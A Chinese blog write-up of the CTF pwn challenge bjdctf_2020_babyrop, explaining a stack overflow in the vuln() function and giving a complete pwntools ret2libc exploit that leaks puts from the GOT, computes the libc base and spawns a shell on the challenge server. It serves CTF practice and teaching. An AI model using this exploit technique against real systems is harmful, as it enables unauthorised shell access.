bjdctf_2020_babyrop

最新推荐文章于 2022-10-27 10:12:51 发布

原创最新推荐文章于 2022-10-27 10:12:51 发布 · 719 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #python #CTF #WriteUp #网络安全

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

该篇博客详细介绍了如何利用一个开启了栈不可执行保护但没有开启其他保护机制的程序中的栈溢出漏洞，通过ret2libc技术来获取shell。首先，通过puts()函数泄露函数地址，然后计算libc基址，找到system()和/bin/bash的地址，最后构造payload实现getshell。整个过程包括泄露puts()地址、计算libc基址和执行system('/bin/bash')。

部署运行你感兴趣的模型镜像

bjdctf_2020_babyrop

使用checksec查看：
在这里插入图片描述
只开启了栈不可执行。

先放进IDA中分析：
在这里插入图片描述

主程序中给了vuln()函数，直接跟进查看。

vuln()：
在这里插入图片描述

return read(0, &buf, 0x64uLL);：读取用户输入的数据存入buf变量。

题目思路

buf变量距离rbp 0x20。
buf变量可读入0x64大小的数据。
因此存在栈溢出。
且程序中无system()函数和/bin/bash字符串。
可以使用ret2libc方式getshell

步骤解析

首先利用栈溢出去泄露函数的真实地址，程序中只有puts()函数可以打印，所以只能用这个函数去泄露了，同时泄露的地址也用puts@got也没问题。

得到puts()的真实地址之后就可以计算出libc的基地址，从而得到system()和/bin/bash的地址。

在这里插入图片描述

再通过一次栈溢出来实现getshell

在这里插入图片描述

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",26823)
# r = process("../buu/bjdctf_2020_babyrop")
elf = ELF("../buu/bjdctf_2020_babyrop")
libc = ELF("../buu/ubuntu16(64).so")

#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr = 0x400733
main_addr = elf.symbols['main']

#attack
r.recv()
payload = b'M'*(0x20 + 8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
print("puts_addr: " + hex(puts_addr))

#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))

#attack2
payload = b'M'*(0x20 + 8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr)
r.sendline(payload)

r.interactive()

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

图片生成

Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型，相比 3.0 版本，它提升了图像质量、运行速度和硬件效率